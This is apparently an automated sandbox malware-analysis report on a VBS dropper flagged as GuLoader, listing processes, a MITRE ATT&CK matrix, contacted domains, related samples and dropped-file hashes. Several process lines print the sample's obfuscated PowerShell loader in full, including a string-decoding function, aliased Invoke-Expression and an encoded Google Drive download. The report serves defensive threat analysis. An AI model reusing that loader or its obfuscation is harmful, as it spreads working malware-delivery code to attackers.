mpongRegiorTzotzaColismBenefbDvehjiOtolob BelclAlmeiiEk,troHylomt aadreFormokcentueInterr paanEulogeFavis.Rensks HullpIdeallUreteipraestAssor(Sol r$MalefNOmregoThomanViftei .robnMejetdSjagguIncorcEndowtCideriSolcrv Oak.e,oarrlHu.boy Tax,)De,in ');$Programbibliotekerne=$Avenin[0];parasols (Baroclinicity ' F,rh$Ergong u.tyl Eth oBlomkbSubdaaOparbl,lind:str kpSt,ndh PimpyCivillmun rlForgioSociam itniaCrocknAudi,cUne.cySquam=Pig oN koreeDra bwNarci- StowO UnspbBonitjYderpeSporec murktSwopc SignaSCed			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Colouration.Afh && echo $"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$skraaningsvinklen = 1;$fotografiapparaternes202='substrin';$fotografiapparaternes202+='g';function baroclinicity($genforenende){$piccoloerne=$genforenende.length-$skraaningsvinklen;for($vainness=5; $vainness -lt $piccoloerne; $vainness+=(6)){$flyttende+=$genforenende.$fotografiapparaternes202.invoke($vainness, $skraaningsvinklen);}$flyttende;}function parasols($dugpunkts){. ($isskabes) ($dugpunkts);}$strandedness=baroclinicity 'age emmicroosyd,rzthermitoftmls lenlmarp,a mak /relev5samov.blood0 fte thol( efolw teltid arfnank.nd bagsocampiwg,debsomnip fo lanbrndstggele stikh1 s,ud0frang. kond0thoke;,aptu rumguwkoalii,arpenmongr6 lu,s4 .nde;sexua underxgejrp6tou,n4 midw;dista malmrvisitv,teto:hykle1dryad2 hard1cysto.clupe0prcis) boga laborgeneboechenicbureak clemo gang/flgev2sm.at0dsles1 nnih0 ribn0oxli,1 t.ag0etape1 otm emulfdatalihastur blitemiscofoverbosalgsx ulph/ ,her1decim2 bero1a,ieh.thras0opstt ';$budgetforslags=baroclinicity 'velseublurssbrnepeforlgrharmo-saddeabefrugdeso,esneglnquatrtdilog ';$programbibliotekerne=baroclinicity 'infamhbrygmt disptfluespulovmstypeh: ,thi/narco/und rdrenour hel,i skftv detiefring.maanegrverko orkaoprincg femvlbrazie ,rof. pro,cflertoc,burm k ge/sekunutska.csekre? kriteunstaxforedp vando sealrind.at dspa= ranud tykmostru w.lasknna lsl hattosu,cealibiddsmitt&hippoivan hdabsin=infor1ra kosh.ktieb.lavg pruncdis iwk,lleb hanlcdeterospaliptodiduintr.c bldg6beflim,tipu5subscv aturd alimjprimukannekn handxragiuihovedp draczsvingaretrtzpa,ktoconcezmega.dconsiustowbeprsen2 ndriwraen. ';$noninductively=baroclinicity 'ubeh.>c.rap ';$isskabes=baroclinicity ' osonitagryeb lstxcha,l ';$leisjes = baroclinicity 'sejtrefristc ,olihendo,oyemel steff%anti.aminicpspindpsluggdresida suivtsoundadagce%burkg\hemagctalrkow mbwl.otheoovergusmrgarbaadfa yamst nderifoolsoaleu,n call.zool.amerogfmapuchdonk, belor&welte&uhlan endevetil.ucrustlhwebe.o pred post$sagge ';parasols (baroclinicity 'victu$skrpeg frivlinduso omstbeks.ma neollbe.kn:levelp,evier,llano,ivisgunregrthundaalumim,agfjmcytoseskinnrretu.ichiconwe,trglo dospreovm,sbryah,ilkeej rsseskilscolliiunactgnedlu=borto(ud,mecrentemr,ckid styr s,ati/georgc e.gy overt$dispelsweetegesanihoneysaesirjfr,eseequa,sserr,)saliv ');parasols (baroclinicity 'engan$spilugsordal .mmeoerhvebt appadamp,l part: ackhad spivcolumef nden rettitungnn b lr=hachi$ se uperlggrlivero mpongregiortzotzacolismbenefbdvehjiotolob belclalmeiiek,trohylomt aadreformokcentueinterr paaneulogefavis.rensks hullpideallureteipraestassor(sol r$malefnomregothomanviftei .robnmejetdsjagguincorcendowtciderisolcrv oak.e,oarrlhu.boy tax,)de,in ');$programbibliotekerne=$avenin[0];parasols (baroclinicity ' f,rh$ergong u.tyl eth oblomkbsubdaaoparbl,lind:str kpst,ndh pimpycivillmun rlforgiosociam itniacrocknaudi,cune.cysquam=pig on koreedra bwnarci- stowo unspbbonitjyderpesporec murktswopc signasced
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$skraaningsvinklen = 1;$fotografiapparaternes202='substrin';$fotografiapparaternes202+='g';function baroclinicity($genforenende){$piccoloerne=$genforenende.length-$skraaningsvinklen;for($vainness=5; $vainness -lt $piccoloerne; $vainness+=(6)){$flyttende+=$genforenende.$fotografiapparaternes202.invoke($vainness, $skraaningsvinklen);}$flyttende;}function parasols($dugpunkts){. ($isskabes) ($dugpunkts);}$strandedness=baroclinicity 'age emmicroosyd,rzthermitoftmls lenlmarp,a mak /relev5samov.blood0 fte thol( efolw teltid arfnank.nd bagsocampiwg,debsomnip fo lanbrndstggele stikh1 s,ud0frang. kond0thoke;,aptu rumguwkoalii,arpenmongr6 lu,s4 .nde;sexua underxgejrp6tou,n4 midw;dista malmrvisitv,teto:hykle1dryad2 hard1cysto.clupe0prcis) boga laborgeneboechenicbureak clemo gang/flgev2sm.at0dsles1 nnih0 ribn0oxli,1 t.ag0etape1 otm emulfdatalihastur blitemiscofoverbosalgsx ulph/ ,her1decim2 bero1a,ieh.thras0opstt ';$budgetforslags=baroclinicity 'velseublurssbrnepeforlgrharmo-saddeabefrugdeso,esneglnquatrtdilog ';$programbibliotekerne=baroclinicity 'infamhbrygmt disptfluespulovmstypeh: ,thi/narco/und rdrenour hel,i skftv detiefring.maanegrverko orkaoprincg femvlbrazie ,rof. pro,cflertoc,burm k ge/sekunutska.csekre? kriteunstaxforedp vando sealrind.at dspa= ranud tykmostru w.lasknna lsl hattosu,cealibiddsmitt&hippoivan hdabsin=infor1ra kosh.ktieb.lavg pruncdis iwk,lleb hanlcdeterospaliptodiduintr.c bldg6beflim,tipu5subscv aturd alimjprimukannekn handxragiuihovedp draczsvingaretrtzpa,ktoconcezmega.dconsiustowbeprsen2 ndriwraen. ';$noninductively=baroclinicity 'ubeh.>c.rap ';$isskabes=baroclinicity ' osonitagryeb lstxcha,l ';$leisjes = baroclinicity 'sejtrefristc ,olihendo,oyemel steff%anti.aminicpspindpsluggdresida suivtsoundadagce%burkg\hemagctalrkow mbwl.otheoovergusmrgarbaadfa yamst nderifoolsoaleu,n call.zool.amerogfmapuchdonk, belor&welte&uhlan endevetil.ucrustlhwebe.o pred post$sagge ';parasols (baroclinicity 'victu$skrpeg frivlinduso omstbeks.ma neollbe.kn:levelp,evier,llano,ivisgunregrthundaalumim,agfjmcytoseskinnrretu.ichiconwe,trglo dospreovm,sbryah,ilkeej rsseskilscolliiunactgnedlu=borto(ud,mecrentemr,ckid styr s,ati/georgc e.gy overt$dispelsweetegesanihoneysaesirjfr,eseequa,sserr,)saliv ');parasols (baroclinicity 'engan$spilugsordal .mmeoerhvebt appadamp,l part: ackhad spivcolumef nden rettitungnn b lr=hachi$ se uperlggrlivero mpongregiortzotzacolismbenefbdvehjiotolob belclalmeiiek,trohylomt aadreformokcentueinterr paaneulogefavis.rensks hullpideallureteipraestassor(sol r$malefnomregothomanviftei .robnmejetdsjagguincorcendowtciderisolcrv oak.e,oarrlhu.boy tax,)de,in ');$programbibliotekerne=$avenin[0];parasols (baroclinicity ' f,rh$ergong u.tyl eth oblomkbsubdaaoparbl,lind:str kpst,ndh pimpycivillmun rlforgiosociam itniacrocknaudi,cune.cysquam=pig on koreedra bwnarci- stowo unspbbonitjyderpesporec murktswopc signasced			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	11 Command and Scripting Interpreter	221 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
justificant de transfer#U00e8ncia.vbs	26%	ReversingLabs	Script-WScript.Trojan.Guloader
justificant de transfer#U00e8ncia.vbs	14%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
bg.microsoft.map.fastly.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://crl.v	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	0%, Virustotal, Browse	unknown
drive.google.com	142.250.105.102	true	false		high
drive.usercontent.google.com	142.250.105.132	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.google.com	powershell.exe, 00000003.00000002.1437259239.0000024500754000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245006D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.0000024502019000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.0000024502040000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245006E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245020AE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.000002450203C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.1471665681.0000024510415000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1471665681.00000245102D3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://drive.usercontent.google.com	powershell.exe, 00000003.00000002.1437259239.0000024502053000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000003.00000002.1437259239.0000024500487000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000003.00000002.1437259239.0000024500487000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000003.00000002.1437259239.0000024501543000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000003.00000002.1471665681.00000245102D3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.1471665681.0000024510415000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1471665681.00000245102D3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000003.00000002.1471665681.00000245102D3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000003.00000002.1471665681.00000245102D3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.googP	powershell.exe, 00000003.00000002.1437259239.0000024501B22000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.google.com	powershell.exe, 00000003.00000002.1437259239.0000024501B22000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.0000024500487000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.usercontent.googh	powershell.exe, 00000003.00000002.1437259239.0000024502040000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.usercontent.google.com	powershell.exe, 00000003.00000002.1437259239.00000245006EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.0000024502040000.00000004.00000800.00020000.00000000.sdmp	false		high
http://drive.google.com	powershell.exe, 00000003.00000002.1437259239.0000024502019000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000003.00000002.1437259239.0000024500261000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com	powershell.exe, 00000003.00000002.1437259239.0000024500754000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245006D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.0000024502019000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.0000024502040000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245006E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.00000245020AE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1437259239.000002450203C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.1437259239.0000024500261000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.v	powershell.exe, 00000003.00000002.1475618652.0000024518688000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000003.00000002.1437259239.0000024500487000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
142.250.105.102	drive.google.com	United States		15169	GOOGLEUS	false
142.250.105.132	drive.usercontent.google.com	United States		15169	GOOGLEUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1427932
Start date and time:	2024-04-18 11:04:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	justificant de transfer#U00e8ncia.vbs renamed because original name is a hash value
Original Sample Name:	justificant de transferncia.vbs
Detection:	MAL
Classification:	mal96.expl.evad.winVBS@6/6@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 5 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, wu-bg-shim.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7180 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:05:12	API Interceptor	1x Sleep call for process: wscript.exe modified
11:05:14	API Interceptor	47x Sleep call for process: powershell.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	Justificante de pago.vbs	Get hash	malicious	Unknown	Browse	199.232.210.172
	awb_shipping_documents_17_04_2024_00000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	199.232.214.172
	http://185.91.69.110	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://ranchpools.com	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://windowdefalerts-error0x21903-alert-virus-detected.pages.dev/	Get hash	malicious	TechSupportScam	Browse	199.232.210.172
	https://windowdefalerts-error0x21908-alert-virus-detected.pages.dev/	Get hash	malicious	TechSupportScam	Browse	199.232.210.172
	https://windowdefalerts-error0x21902-alert-virus-detected.pages.dev/	Get hash	malicious	TechSupportScam	Browse	199.232.214.172
	https://www.applelswlqod.top/all/login.php?idsmt=10123005600&nextfunck=10130550000	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://17.104-168-101-28.cprapid.com/PayPal/	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://wwx3-secondary.z1.web.core.windows.net/werrx01USAHTML/?bcda=1-844-308-7254	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

⊘No context

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Justificante de pago.vbs	Get hash	malicious	Unknown	Browse	142.250.105.102 142.250.105.132
	Purchase Order PDF.exe	Get hash	malicious	AgentTesla	Browse	142.250.105.102 142.250.105.132
	Leoch-Purchase Order.exe	Get hash	malicious	AgentTesla	Browse	142.250.105.102 142.250.105.132
	p silp AI240190.pdf.exe	Get hash	malicious	AgentTesla	Browse	142.250.105.102 142.250.105.132
	SecuriteInfo.com.Variant.MSILHeracles.77820.8707.3938.exe	Get hash	malicious	Unknown	Browse	142.250.105.102 142.250.105.132
	SecuriteInfo.com.Win32.PWSX-gen.1728.1300.exe	Get hash	malicious	AgentTesla	Browse	142.250.105.102 142.250.105.132
	SecuriteInfo.com.Heur.15333.25205.exe	Get hash	malicious	AgentTesla	Browse	142.250.105.102 142.250.105.132
	SecuriteInfo.com.Variant.MSILHeracles.77820.8707.3938.exe	Get hash	malicious	Unknown	Browse	142.250.105.102 142.250.105.132
	Leoch-Purchase Order.exe	Get hash	malicious	AgentTesla	Browse	142.250.105.102 142.250.105.132
	SecuriteInfo.com.Win32.PWSX-gen.27467.16755.exe	Get hash	malicious	AgentTesla	Browse	142.250.105.102 142.250.105.132

Process:	C:\Windows\System32\wscript.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 69993 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	69993
Entropy (8bit):	7.99584879649948
Encrypted:	true
SSDEEP:	1536:iMveRG6BWC7T2g1wGUa5QUoaIB9ttiFJG+AOQOXl0Usvwr:feRG6BX6gUaHo9tkBHiUewr
MD5:	29F65BA8E88C063813CC50A4EA544E93
SHA1:	05A7040D5C127E68C25D81CC51271FFB8BEF3568
SHA-256:	1ED81FA8DFB6999A9FEDC6E779138FFD99568992E22D300ACD181A6D2C8DE184
SHA-512:	E29B2E92C496245BED3372578074407E8EF8882906CE10C35B3C8DEEBFEFE01B5FD7F3030ACAA693E175F4B7ACA6CD7D8D10AE1C731B09C5FA19035E005DE3AA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF....i.......,...................I.................oXAy .authroot.stl.Ez..Q6..CK..<Tk...p.k..1...3...[..%Y.f..."K.6)..[I.hOB."..rK.RQ..}f..f...}....9.\|.....gA...30.,O2L...0..%.U...U.t.....`dqM2.x..t...<(uad.c...x5V.x..t..agd.v......i...KD..q(. ...JJ......#..'=. ...3.x...}...+T.K..!.'.`w .!.x.r.......YafhG..O.3....'P[..'.D../....n..t....R<..=\E7L0?{..T.f...ID...,...r....3z..O/.b.Iwx.. .o...a\.s........."..'.......<;s.[...l...6.)ll..B.P.....k.... k0.".t!/.,........{...P8....B..0(.. .Q.....d...q,\.$.n.Q.\.p...R..:.hr./..8.S<a.s...+#3....D..h1.a.0....{.9.....:e.......n.~G.{.M.1..OU.....B.Q..y_>.P{...}i.=.a..QQT.U..\|!.pyCD@.....l..70..w..)...W^.`l...%Y.\................i..=hYV.O8W@P.=.r.=..1m..1....)\.p..\|.c.3..t..[...).....l.{.Y....\S.....y....[.mCt....Js;...H....Q..F.....g.O...[..A.=...F[..z....k...mo.lW{`....O...T.g.Y.Uh.;m.'.N..f..}4..9i..t4p_bI..`.....Ie..l.P.... ...Lg......[....5g...~D.s.h'>n.m.c.7...-..P.gG...i$...v.m.b[.yO.P/*.YH.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.2235665155551643
Encrypted:	false
SSDEEP:	6:kKQkVlEN+SkQlPlEGYRMY9z+4KlDA3RUeVlWI/Vt:TVlbkPlE99SNxAhUeVLVt
MD5:	BAFF9E35631E33C6C7ADA67903209A4F
SHA1:	2AEE2C370574D9D54E7B2B80ED9DB213983CB20B
SHA-256:	57C38738F839DE64B4E0180BBA7E2B7D61CE29443B6D6157D79CAB4159FCA1DD
SHA-512:	DC37A9764DFE9828BC838BBE5F8D63996D4C9A7C9F9F4C109D82780A116D6A9B014A9FDED9680573FECC742DD2E3EDB6DC6583E0610B2468461C7EED02D786F2
Malicious:	false
Reputation:	low
Preview:	p...... ..........?.o...(....................................................... ........M.........(.....wl....i...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".b.3.6.8.5.3.8.5.a.4.7.f.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1vnfwmx4.dha.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_550yl205.cft.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Colouration.Afh

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	HTML document, ASCII text, with very long lines (1692), with no line terminators
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	5.104877458781039
Encrypted:	false
SSDEEP:	24:hazsp2lvhXlhEG0qnXXX08Ucq9J8mZoWHMzj+cB7jTsoT9FyVZ81wmna:7p8mRq+fjsueFYaWJ
MD5:	EC26264F72BAAB177805892BE315954E
SHA1:	50ED3EFD51174C9AF78B1881B89B2C9B06A390EC
SHA-256:	4C2580C42EDD8D6862771DF1448E5623D97421093E53CCDB89B3D1066FADC361
SHA-512:	47B1BFFF18A5C16FB3CB9B4CF5FC0DD606B2E9CB5094C862AF85C38E491D0BD2E97F5093F602AB607B0BA594ED658301C81E8877F145D1D115CAEE156B7EE355
Malicious:	false
Reputation:	low
